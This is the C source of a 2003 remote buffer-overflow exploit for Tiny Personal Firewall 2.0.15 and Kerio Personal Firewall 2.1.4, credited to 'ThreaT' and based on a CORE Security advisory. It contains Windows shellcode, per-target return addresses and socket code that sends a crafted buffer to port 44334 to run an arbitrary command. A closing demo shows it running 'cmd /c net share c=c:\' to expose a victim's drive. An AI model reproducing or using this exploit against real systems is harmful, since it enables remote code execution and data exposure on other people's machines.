/**************************************************************
 * Personal Firewall Engine remote buffer overflow Exploit
 **************************************************************
 *
 * Original information shared by CORE Security Technologies.
 * ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 * http://www.coresecurity.com/common/showdoc.php?idx=314&idxseccion=10
 * ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 * Released : 30/04/2003
 *
 * Coded By ThreaT.
 * ThreaT@Ifrance.com
 * http://s0h.cc/~threat
 *
 ********************************************************************
 *
 * This exploit take advantage of the vulnerability discovered by
 * CORE Security Technologies for execute a command on remote workstations
 * equiped with the fallowing PSW :
 *
 * - Tiny Personal Firewall 2.0.15
 * - Kerio Personal Firewall 2.1.4
 *
 *********************************************************************
 *
 * Usage : PFExploit.exe <target> <victim_ip> <command to execute>
 *
 * =====================================================================
 * !! compile with : cl.exe /nologo PFExploit.c /link wsock32.lib !!
 * =====================================================================
 */


#include <windows.h>
#include <winsock.h>

#define len 0x1494

void main (int argc, char *argv[])
{
  SOCKET sock1;
  SOCKADDR_IN sin;
  int i;
  DWORD byte = htonl(len);

  char buffer[len], *p,

  shellcode[] = 

  "\xEB\x69\x6A\x30\x5B\x64\x8B\x03\x8B\x40\x0C\x8B\x48\x0C\x8B\xC1" 
  "\x8B\x70\x30\x80\x3E\x4B\x75\x4A\x8B\x40\x18\x8B\x58\x3C\x03\xD8" 
  "\x8B\x5B\x78\x03\xD8\x8B\x73\x1C\x03\xF0\x56\x8B\x73\x24\x03\xF0" 
  "\x56\x8B\x53\x20\x03\xD0\x8B\x5B\x18\x4B\x8B\x34\x9A\x03\xF0\x03" 
  "\x74\x24\x10\x8B\x36\x39\x74\x24\x0C\x74\x08\x4B\x23\xDB\x75\xEA" 
  "\x58\x58\xC3\x5F\x33\xC9\x66\x8B\x0C\x5F\x5F\x8B\x3C\x8F\x8D\x04" 
  "\x07\xC3\x8B\x18\x39\x08\x8B\xC3\x75\xA6\xC3\xEB\x22\x6A\x01\x68" 
  "\x69\x6E\x45\x78\xE8\x89\xFF\xFF\xFF\x6A\x01\xFF\x74\x24\x0C\xFF" 
  "\xD0\x6A\x01\x68\x78\x69\x74\x50\xE8\x75\xFF\xFF\xFF\xFF\xD0\xE8"
  "\xD9\xFF\xFF\xFF";

  WSADATA wsadata;
  WORD wVersionRequested = MAKEWORD (2,0);

  struct _target {

    char Name[4];
    char *RetAddr;
    char *App;

  } targ[2] = {

    {"TPF" , "\xED\xEA\x2F\x01", "Tiny Personal Firewall 2.0.15"},
    {"KPF" , "\xF8\xEA\x61\x01", "Kerio Personal Firewall 2.1.4"},
  };
  

printf ("#############################################################\n"
  "Personal Firewall Engine, Remote buffer overflow Exploit !\n"
  "#############################################################\n"
  "Discovered by CORE Security Technologies & Coded by ThreaT\n-\n"
  "ThreaT@Ifrance.com\n"
  "http://s0h.cc/~threat\n-\n\n");
  
  if (argc < 4)
  {
    printf ("usage : PFExploit.exe <target> <victim_ip> <command to execute>\n\n"
      "TARGET ARE\n"
      "__________\n\n"
      "TPF : for Tiny Personal Firewall 2.0.15\n"
      "KPF : for Kerio Personal Firewall 2.1.4\n\n");

    ExitProcess (0);
  }

  if (!(p = (char *) LocalAlloc (LPTR,(strlen (shellcode)+strlen(argv[3])+3))))
  {
    printf ("error, cannot allocate memory\n");
    ExitProcess (0);
  }


  memset (buffer,0x90,len);

  strcpy (p,shellcode);
  lstrcat (p,argv[3]);
  memcpy (&buffer[200],p,strlen (p)+1);

  for (i=0; i < 2 ; i++)
    if (!lstrcmpi (argv[1],targ[i].Name)) break;

  if (i > 1)
  {
    printf ("Erreur : la cible %s est inconnue\n",argv[1]);
    ExitProcess (0);
  }


  if (WSAStartup(wVersionRequested, &wsadata)) 
  {
    printf ("Erreur d'initialisation Winsock\n");
    ExitProcess (0);
  }

  
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr=inet_addr (argv[2]);
  sin.sin_port = htons (44334);


  memcpy (&buffer[0x1490],targ[i].RetAddr,4);

  printf ("Cible : %s\n\n"
        "Connecting to %s...", targ[i].App, argv[2]);
  
  sock1 = socket (AF_INET, SOCK_STREAM, 0);
  bind (sock1, (SOCKADDR *)&sin, sizeof (sin));
  if ( connect (sock1,(SOCKADDR *)&sin, sizeof (sin)) )
  {
    printf ("connexion failed !\n");
    ExitProcess (0);
  }

  printf ("ok!\n\n"
        "sending crash for remote execution of '%s'...",argv[3]);
  
  Sleep (1000);
  send (sock1,(const char FAR *)(DWORD)&byte,sizeof (DWORD),0);
  send (sock1,buffer,len,0);

  puts ("ok");

}

/* DEMO ON MY LAN *

D:\code\exploits\kerio>ipconfig

Configuration IP de Windows 2000

Ethernet carte Connexion au réseau local 2 :

        État du media . . . . . . . . . . : Câble Déconnecté

Ethernet carte Connexion au réseau local :

        Suffixe DNS spéc. à la connexion. : ThreaT.lan
        Adresse IP. . . . . . . . . . . . : 10.0.0.1
        Masque de sous-réseau . . . . . . : 255.0.0.0
        Passerelle par défaut . . . . . . : 10.0.0.138

D:\code\exploits\kerio>net view \\10.0.0.3
La liste est vide.


D:\code\exploits\kerio>PFExploit TPF 10.0.0.3 "cmd /c net share c=c:\"
#############################################################
Personal Firewall Engine, Remote buffer overflow Exploit !
#############################################################
Discovered by CORE Security Technologies & Coded by ThreaT
-
ThreaT@Ifrance.com
http://s0h.cc/~threat
-

Cible : Tiny Personal Firewall 2.0.15

Connecting to 10.0.0.3...ok!

sending crash for remote execution of 'cmd /c net share c=c:"'...ok

D:\code\exploits\kerio>net view \\10.0.0.3
Ressources partagées de \\10.0.0.3



Nom          Type         Local    Remarque

-------------------------------------------------------------------------------
c            Disque
La commande s'est terminée correctement.


D:\code\exploits\kerio>

* EOF */